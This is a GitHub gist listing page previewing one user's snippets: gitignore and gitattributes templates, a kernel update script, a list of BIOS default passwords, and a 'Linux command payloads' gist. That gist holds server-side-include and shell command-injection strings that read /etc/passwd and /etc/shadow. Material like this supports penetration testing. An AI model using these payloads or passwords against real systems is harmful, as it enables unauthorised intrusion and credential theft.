Skip to content

Instantly share code, notes, and snippets.

@Yousha
Yousha / .gitignore
Last active May 1, 2024 04:55
.gitignore for PHP developers.
##### Windows
# Windows thumbnail cache files
Thumbs.db
Thumbs.db:encryptable
ehthumbs.db
ehthumbs_vista.db
# Dump file
*.stackdump
@Yousha
Yousha / .gitattributes
Created February 13, 2019 18:24
.gitattributes for .Net developers.
* text=auto
###### Git
.gitattributes text
.gitignore text
.gitconfig text
.gitmodules text
##### Windows
*.bat text eol=crlf
@Yousha
Yousha / BIOS_default_passwords.txt
Created June 16, 2020 08:51
BIOS default passwords
AWARD BIOS:
01322222
589589
589721
595595
598598
aLLy
aLLY
ALLY
ALFAROME
@Yousha
Yousha / .gitignore
Last active March 27, 2024 22:58
.gitignore for C/C++ developers.
##### Windows
# Windows thumbnail cache files
Thumbs.db
Thumbs.db:encryptable
ehthumbs.db
ehthumbs_vista.db
# Dump file
*.stackdump
@Yousha
Yousha / update_linux_kernel.sh
Last active February 27, 2024 11:13
Shell script to update Linux kernel. (Traditionally)
#!/bin/sh
# Prepare.
set -o nounset # Abort on unbound variable.
set -o pipefail # Don't hide errors within pipes.
LANG=C
LC_CTYPE=C
LC_ALL=C
[ $UID != 0 ] && { echo -e "\nYou don’t have permission to run this script."; exit 13; }
@Yousha
Yousha / .gitattributes
Last active February 13, 2024 07:32
.gitattributes for Android(Java/C++) developers.
* text=auto
###### Git
.gitattributes text
.gitignore text
.gitconfig text
.gitmodules text
##### Windows
*.bat text eol=crlf
@Yousha
Yousha / .gitattributes
Last active November 14, 2023 01:33
.gitattributes for C/C++ developers.
* text=auto
###### Git
.gitattributes text
.gitignore text
.gitconfig text
.gitmodules text
##### Windows
*.bat text eol=crlf
@Yousha
Yousha / gist:6832f3941977f05e70892de35e0428f9
Created June 16, 2020 08:58
Linux command payloads
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
@Yousha
Yousha / .gitignore
Last active August 25, 2023 07:44
.gitignore for Java/Android developers.
##### Windows
# Windows thumbnail cache files
Thumbs.db
Thumbs.db:encryptable
ehthumbs.db
ehthumbs_vista.db
# Dump file
*.stackdump
@Yousha
Yousha / .gitignore
Last active April 15, 2023 06:11
.gitignore for GNU+Linux root filesystem to track changes.
/dev/
/lost+found/
/proc/
/mnt/
/media/
/var/cache/nscd/hosts
/var/cache/nscd/passwd
/media/user/
/var/cache/nscd/group
/root/.cache/